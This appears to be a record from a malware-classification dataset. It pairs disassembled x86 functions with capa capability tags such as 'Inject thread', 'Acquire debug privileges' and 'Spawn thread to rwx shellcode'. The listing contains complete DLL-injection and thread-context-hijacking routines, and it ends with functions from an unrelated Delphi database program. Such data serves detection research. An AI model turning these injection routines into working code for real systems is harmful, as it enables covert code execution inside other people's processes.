joyce8/EMBER2024-capa huggingface dataset:
Function at 0x21106750
Capabilities:
Allocate or change rwx memory

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x4f0
push 0
push 0
push 3
push 0
push 3
push 0x80000000
mov eax, dword [ebp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
jne 0x21106784
xor al, al
jmp 0x21106882
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x40
push 0x1000
push 0x210
push 0
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x211067b6
xor al, al
jmp 0x21106882
mov dword [ebp - 0x4f0], 0
push 0x2c8
push 0
lea eax, [ebp - 0x4ec]
push eax
call fcn.21108e50
add esp, 0xc
mov dword [ebp - 0x4f0], 0x1003f
lea ecx, [ebp - 0x4f0]
push ecx
mov edx, dword [ebp + 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
jne 0x211067fc
xor al, al
jmp 0x21106882
mov eax, dword [ebp - 0x438]
mov dword [ebp - 0x220], eax
mov ecx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x21c], ecx
mov edx, dword [ebp + 0x10]
push edx
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x64
push 0x21106730
lea ecx, [ebp - 0x114]
push ecx
call fcn.21108ed0
add esp, 0xc
push 0
push 0x210
lea edx, [ebp - 0x220]
push edx
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov edx, dword [ebp - 8]
add edx, 0x10c
mov dword [ebp - 0x438], edx
lea eax, [ebp - 0x4f0]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
call dword [sym.imp.ntdll.dll_ZwSetContextThread]
test eax, eax
setge dl
mov byte [ebp - 1], dl
mov al, byte [ebp - 1]
mov esp, ebp
pop ebp
ret 0xc
Function at 0x21106890
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 0xc]
push eax
call fcn.21109300
add esp, 4
add eax, 1
mov dword [ebp - 8], eax
push 0x40
push 0x1000
mov ecx, dword [ebp - 8]
push ecx
push 0
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x211068d1
jmp 0x21106950
push 0
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp - 0x10]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [ebp - 4], 0
lea ecx, [ebp - 4]
push ecx
push 0
mov edx, dword [ebp - 0x10]
push edx
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
push 0
push 0
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov dword [ebp - 0xc], eax
push 0x2710
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x2110692b
xor al, al
jmp 0x2110696f
push 0x4000
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 0x10]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
jmp 0x2110696f
cmp dword [ebp - 0x10], 0
je 0x2110696d
push 0x4000
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp - 0x10]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor al, al
mov esp, ebp
pop ebp
ret 8

Function at 0x21106980
Capabilities:
Acquire debug privileges

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov byte [ebp - 1], 0
lea eax, [ebp - 8]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x211069e0
lea ecx, [ebp - 0x14]
push ecx
push str.SeDebugPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
mov dword [ebp - 0x18], 1
mov dword [ebp - 0xc], 2
push 0
push 0
push 0x10
lea edx, [ebp - 0x18]
push edx
push 0
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
setne cl
mov byte [ebp - 1], cl
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, byte [ebp - 1]
mov esp, ebp
pop ebp
ret
Function at 0x21106a00
Capabilities:
Enumerate threads

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x28
cmp dword [0x2111c510], 0
jbe 0x21106a1b
mov eax, dword [0x2111c510]
jmp 0x21106a9c
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x28], 0
push 0
push 4
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x1c], 0x1c
xor eax, eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
mov dword [ebp - 4], eax
lea ecx, [ebp - 0x1c]
push ecx
mov edx, dword [ebp - 0x24]
push edx
call sub.KERNEL32.dll_Thread32First
test eax, eax
je 0x21106a84
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 0x20]
jne 0x21106a73
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x28], ecx
jmp 0x21106a84
lea edx, [ebp - 0x1c]
push edx
mov eax, dword [ebp - 0x24]
push eax
call sub.KERNEL32.dll_Thread32Next
test eax, eax
jne 0x21106a63
mov ecx, dword [ebp - 0x24]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp - 0x28]
mov dword [0x2111c510], edx
mov eax, dword [0x2111c510]
mov esp, ebp
pop ebp
ret

Function at 0x21106e30
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
call fcn.211071f0
movzx eax, al
test eax, eax
jne 0x21106e56
mov ecx, dword [ebp + 8]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call fcn.211072a0
mov edx, dword [ebp + 8]
mov eax, dword [edx + 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
je 0x21106e79
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + 4]
push edx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [ebp - 0x24], eax
jmp 0x21106e89
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 4]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x24], eax
mov edx, dword [ebp - 0x24]
mov dword [ebp - 4], edx
cmp dword [ebp - 4], 0
jne 0x21106e9c
xor al, al
jmp 0x21106f20
mov eax, dword [ebp - 4]
push eax
call fcn.21106d80
mov ecx, dword [eax + 0x58]
mov dword [ebp - 0xc], ecx
mov edx, dword fs:[0x18]
mov dword [ebp - 8], edx
mov eax, dword [ebp - 8]
mov ecx, dword [eax + 0x30]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0x18]
add eax, 0xc
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x18]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 0x14]
je 0x21106f1e
mov ecx, dword [ebp - 0x10]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 0x10]
mov ecx, dword [eax]
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 0x1c]
push edx
call fcn.21106d80
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0x1c]
push ecx
call fcn.211072a0
mov edx, dword [ebp - 0x1c]
cmp edx, dword [ebp - 4]
je 0x21106f0f
jmp 0x21106ed3
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0x1c]
push ecx
call fcn.21106f30
jmp 0x21106ed3
mov al, 1
mov esp, ebp
pop ebp
ret 4
Function at 0x21107670
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [ebp + 8]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp + 8]
add eax, dword [edx + 0x78]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp + 8]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp + 8]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x18], eax
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
lea ecx, [ebp - 4]
push ecx
push 0x211160ec
mov edx, dword [ebp + 0xc]
push edx
call fcn.2110982b
add esp, 0xc
cmp eax, 1
jne 0x211076ef
cmp dword [ebp - 4], 0
jle 0x211076eb
mov eax, dword [ebp - 4]
sub eax, 1
mov dword [ebp - 4], eax
jmp 0x21107748
mov dword [ebp - 0x20], 0
jmp 0x21107701
mov ecx, dword [ebp - 0x20]
add ecx, 1
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x20]
cmp eax, dword [edx + 0x18]
jae 0x21107744
mov ecx, dword [ebp - 0x20]
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp + 8]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp - 0x24]
push edx
call fcn.2110c7f2
add esp, 8
test eax, eax
je 0x21107731
jmp 0x211076f8
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x18]
movzx edx, word [ecx + eax*2]
mov dword [ebp - 4], edx
jmp 0x21107748
jmp 0x2110776a
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 0x1c]
lea edx, [ecx + eax*4]
mov dword [ebp - 8], edx
mov eax, dword [ebp - 8]
cmp dword [eax], 0
jne 0x21107760
jmp 0x2110776a
mov ecx, dword [ebp - 8]
mov eax, dword [ecx]
add eax, dword [ebp + 8]
jmp 0x2110776c
xor eax, eax
mov esp, ebp
pop ebp
ret 8
Function at 0x21107780
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [ebp + 8]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp + 8]
add eax, dword [edx + 0x78]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp + 8]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp + 8]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x18], eax
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
lea ecx, [ebp - 4]
push ecx
push 0x211160f0
mov edx, dword [ebp + 0xc]
push edx
call fcn.2110982b
add esp, 0xc
cmp eax, 1
jne 0x211077ff
cmp dword [ebp - 4], 0
jle 0x211077fb
mov eax, dword [ebp - 4]
sub eax, 1
mov dword [ebp - 4], eax
jmp 0x21107858
mov dword [ebp - 0x20], 0
jmp 0x21107811
mov ecx, dword [ebp - 0x20]
add ecx, 1
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x20]
cmp eax, dword [edx + 0x18]
jae 0x21107854
mov ecx, dword [ebp - 0x20]
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp + 8]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp - 0x24]
push edx
call fcn.21109270
add esp, 8
test eax, eax
jne 0x21107841
jmp 0x21107808
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x18]
movzx edx, word [ecx + eax*2]
mov dword [ebp - 4], edx
jmp 0x21107858
jmp 0x2110787a
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 0x1c]
lea edx, [ecx + eax*4]
mov dword [ebp - 8], edx
mov eax, dword [ebp - 8]
cmp dword [eax], 0
jne 0x21107870
jmp 0x2110787a
mov ecx, dword [ebp - 8]
mov eax, dword [ecx]
add eax, dword [ebp + 8]
jmp 0x2110787c
xor eax, eax
mov esp, ebp
pop ebp
ret 8
Function at 0x21107890
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [ebp + 8]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp + 8]
add eax, dword [edx + 0x78]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp + 8]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp + 8]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x18], eax
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
lea ecx, [ebp - 4]
push ecx
push 0x211160f4
mov edx, dword [ebp + 0xc]
push edx
call fcn.2110982b
add esp, 0xc
cmp eax, 1
jne 0x2110790f
cmp dword [ebp - 4], 0
jle 0x2110790b
mov eax, dword [ebp - 4]
sub eax, 1
mov dword [ebp - 4], eax
jmp 0x21107968
mov dword [ebp - 0x20], 0
jmp 0x21107921
mov ecx, dword [ebp - 0x20]
add ecx, 1
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x20]
cmp eax, dword [edx + 0x18]
jae 0x21107964
mov ecx, dword [ebp - 0x20]
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp + 8]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp - 0x24]
push edx
call fcn.2110c7f2
add esp, 8
test eax, eax
je 0x21107951
jmp 0x21107918
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x18]
movzx edx, word [ecx + eax*2]
mov dword [ebp - 4], edx
jmp 0x21107968
jmp 0x21107985
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 0x1c]
lea edx, [ecx + eax*4]
mov dword [ebp - 8], edx
mov eax, dword [ebp - 8]
cmp dword [eax], 0
jne 0x21107980
jmp 0x21107985
mov eax, dword [ebp - 8]
jmp 0x21107987
xor eax, eax
mov esp, ebp
pop ebp
ret 8
Function at 0x21107ea0
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x21117b80
push 0x21109858
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
add esp, 0xffffffe0
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov dword [ebp - 4], 0
mov eax, dword [ebp + 0x10]
push eax
push 0x40
push 0
mov ecx, dword [ebp + 8]
push ecx
call dword [ebp + 0xc]
test eax, eax
jne 0x21107ef8
mov dword [ebp - 0x1c], 1
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x1c]
jmp 0x211080b0
mov dword [ebp - 4], 0xffffffff
jmp 0x21107f27
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x5a4d
jne 0x21107f3d
mov ecx, dword [ebp + 8]
cmp dword [ecx + 0x3c], 0
jne 0x21107f47
mov eax, 2
jmp 0x211080b0
mov dword [ebp - 4], 1
mov edx, dword [ebp + 0x10]
push edx
push pe_nt_image_headers32
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 0x3c]
push ecx
mov edx, dword [ebp + 8]
add edx, 0x40
push edx
call dword [ebp + 0xc]
test eax, eax
jne 0x21107f82
mov dword [ebp - 0x24], 1
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x24]
jmp 0x211080b0
mov dword [ebp - 4], 0xffffffff
jmp 0x21107fb1
mov eax, dword [ebp + 8]
cmp dword [eax + 0x40], 0x4550
jne 0x21107fd7
mov ecx, dword [ebp + 8]
movzx edx, word [ecx + 0x58]
cmp edx, 0x10b
jne 0x21107fd7
mov eax, dword [ebp + 8]
movzx ecx, word [eax + 0x46]
test ecx, ecx
jne 0x21107fe1
mov eax, 2
jmp 0x211080b0
mov edx, dword [ebp + 8]
movzx eax, word [edx + 0x46]
imul eax, eax, 0x28
mov ecx, dword [ebp + 8]
mov dword [ecx + 0x140], eax
mov edx, dword [ebp + 8]
mov eax, dword [edx + 0x140]
push eax
call fcn.211093da
add esp, 4
mov ecx, dword [ebp + 8]
mov dword [ecx + 0x138], eax
mov edx, dword [ebp + 8]
cmp dword [edx + 0x138], 0
jne 0x21108025
mov eax, 3
jmp 0x211080b0
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 0x3c]
mov edx, dword [ebp + 8]
movzx eax, word [edx + 0x54]
lea ecx, [ecx + eax + 0x18]
mov edx, dword [ebp + 8]
mov dword [edx + 0x13c], ecx
mov dword [ebp - 4], 2
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + 0x140]
push edx
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 0x13c]
push ecx
mov edx, dword [ebp + 8]
mov eax, dword [edx + 0x138]
push eax
call dword [ebp + 0xc]
test eax, eax
jne 0x21108082
mov dword [ebp - 0x2c], 1
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x2c]
jmp 0x211080b0
mov dword [ebp - 4], 0xffffffff
jmp 0x211080ae
xor eax, eax
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x211080d0
Capabilities:
Allocate or change rwx memory

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 0xc]
and eax, 2
neg eax
sbb eax, eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], 0
mov dword [ebp - 8], 0
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + 0x138]
mov dword [ebp - 0xc], edx
jmp 0x21108113
mov eax, dword [ebp - 8]
add eax, 1
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 0xc]
add ecx, 0x28
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp + 8]
movzx eax, word [edx + 0x46]
cmp dword [ebp - 8], eax
jae 0x21108160
mov ecx, dword [ebp - 0xc]
cmp dword [ecx + 8], 0
jne 0x2110812a
jmp 0x21108101
mov edx, dword [ebp - 0xc]
mov eax, dword [edx + 0xc]
cmp eax, dword [ebp - 0x10]
jae 0x2110813e
mov ecx, dword [ebp - 0xc]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax + 0xc]
mov edx, dword [ebp - 0xc]
add ecx, dword [edx + 8]
cmp ecx, dword [ebp - 0x14]
jbe 0x2110815e
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax + 0xc]
mov edx, dword [ebp - 0xc]
add ecx, dword [edx + 8]
mov dword [ebp - 0x14], ecx
jmp 0x21108101
push 0x40
push 0x1000
mov eax, dword [ebp - 0x14]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 4], eax
push 0x40
push 0x1000
mov ecx, dword [ebp - 0x14]
sub ecx, dword [ebp - 0x10]
push ecx
mov edx, dword [ebp - 4]
add edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [ebp + 8]
mov dword [ecx + 0x148], eax
mov edx, dword [ebp + 8]
mov eax, dword [ebp - 4]
mov dword [edx + 0x144], eax
mov ecx, dword [ebp + 8]
cmp dword [ecx + 0x148], 0
jne 0x211081f9
mov edx, dword [ebp + 8]
movzx eax, word [edx + 0x56]
and eax, 1
je 0x211081c5
mov eax, 4
jmp 0x2110820e
push 0x40
push 0x3000
mov ecx, dword [ebp - 0x14]
sub ecx, dword [ebp - 0x10]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edx, dword [ebp + 8]
mov dword [edx + 0x148], eax
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 0x148]
sub ecx, dword [ebp - 0x10]
mov edx, dword [ebp + 8]
mov dword [edx + 0x144], ecx
mov eax, dword [ebp + 8]
cmp dword [eax + 0x148], 0
jne 0x2110820c
mov eax, 3
jmp 0x2110820e
xor eax, eax
mov esp, ebp
pop ebp
ret 8

Function at 0x2110ed85
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x2111aca0]
jne 0x2110ed8f
repz ret
jmp fcn.21110afa
Function at 0x2110f2d8
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.21109e09
and dword [ebp - 4], 0
cmp dword [0x2111cd1c], 0
mov ebx, eax
jne 0x2110f389
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x2110f43a
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x2111692c
push edi
call esi
test eax, eax
je 0x2110f43a
push eax
call fcn.21109d97
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x2111cd1c], eax
call esi
push eax
call fcn.21109d97
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x2111cd20], eax
call esi
push eax
call fcn.21109d97
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x2111cd24], eax
call esi
push eax
call fcn.21109d97
pop ecx
mov dword [0x2111cd2c], eax
test eax, eax
je 0x2110f389
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.21109d97
pop ecx
mov dword [0x2111cd28], eax
mov eax, dword [0x2111cd28]
cmp eax, ebx
je 0x2110f3e1
cmp dword [0x2111cd2c], ebx
je 0x2110f3e1
push eax
call fcn.21109e12
push dword [0x2111cd2c]
mov esi, eax
call fcn.21109e12
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x2110f3e1
test edi, edi
je 0x2110f3e1
call esi
test eax, eax
je 0x2110f3d8
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x2110f3d8
test byte [ebp - 0xc], 1
jne 0x2110f3e1
or dword [ebp + 0x10], 0x200000
jmp 0x2110f41a
mov eax, dword [0x2111cd20]
cmp eax, ebx
je 0x2110f41a
push eax
call fcn.21109e12
pop ecx
test eax, eax
je 0x2110f41a
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x2110f41a
mov eax, dword [0x2111cd24]
cmp eax, ebx
je 0x2110f41a
push eax
call fcn.21109e12
pop ecx
test eax, eax
je 0x2110f41a
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x2111cd1c]
call fcn.21109e12
pop ecx
test eax, eax
je 0x2110f43a
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x2110f43c
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x41a4a00
Capabilities:
Reference sql statements

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
xor edx, edx
mov dword [ebp - 4], edx
xor edx, edx
push ebp
push 0x41a4a97
push dword fs:[edx]
mov dword fs:[edx], esp
mov ecx, eax
mov dl, 1
mov eax, dword [sym.imp.adortl60.bpl__Adodb_TADOQuery_]
call sub.adortl60.bpl__Adodb_TADOQuery__bctr_qqrp18Classes_TComponent
mov ebx, eax
call sub.VEDatasets.bpl__Vedataset_Connection_qqrv
mov edx, eax
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x268]
lea eax, [ebp - 4]
push eax
call sub.VEDatasets.bpl__Vedataset_FirmaNo_qqrv
mov dword [ebp - 0x14], eax
mov byte [ebp - 0x10], 0
call sub.VEDatasets.bpl__Vedataset_DonemNo_qqrv
mov dword [ebp - 0xc], eax
mov byte [ebp - 8], 0
lea edx, [ebp - 0x14]
mov ecx, 1
mov eax, 0x41a4ab0
call sub.rtl60.bpl__Sysutils_Format_qqrx17System_AnsiStringpx14System_TVarRecxi
mov eax, dword [ebp - 4]
push eax
mov eax, ebx
call sub.adortl60.bpl__Adodb_TADOQuery_GetSQL_qqrv
pop edx
mov ecx, dword [eax]
call dword [ecx + 0x2c]
mov eax, ebx
call sub.dbrtl60.bpl__Db_TDataSet_Open_qqrv
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x41a4a9e
lea eax, [ebp - 4]
call sub.rtl60.bpl__System__LStrClr_qqrpv
ret

Function at 0x41b1e40
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
call sub.rtl60.bpl__System__LStrAddRef_qqrpv
xor eax, eax
push ebp
push 0x41b1ea0
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call sub.rtl60.bpl__Sysutils_FileExists_qqrx17System_AnsiString
test al, al
je 0x41b1e8a
push 3
push 0x41b1eac
push 0x41b1eac
mov eax, dword [ebp - 4]
call sub.rtl60.bpl__System__LStrToPChar_qqrx17System_AnsiString
push eax
push 0x41b1eb0
push 0
call sub.shell32.dll_ShellExecuteA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x41b1ea7
lea eax, [ebp - 4]
call sub.rtl60.bpl__System__LStrClr_qqrpv
ret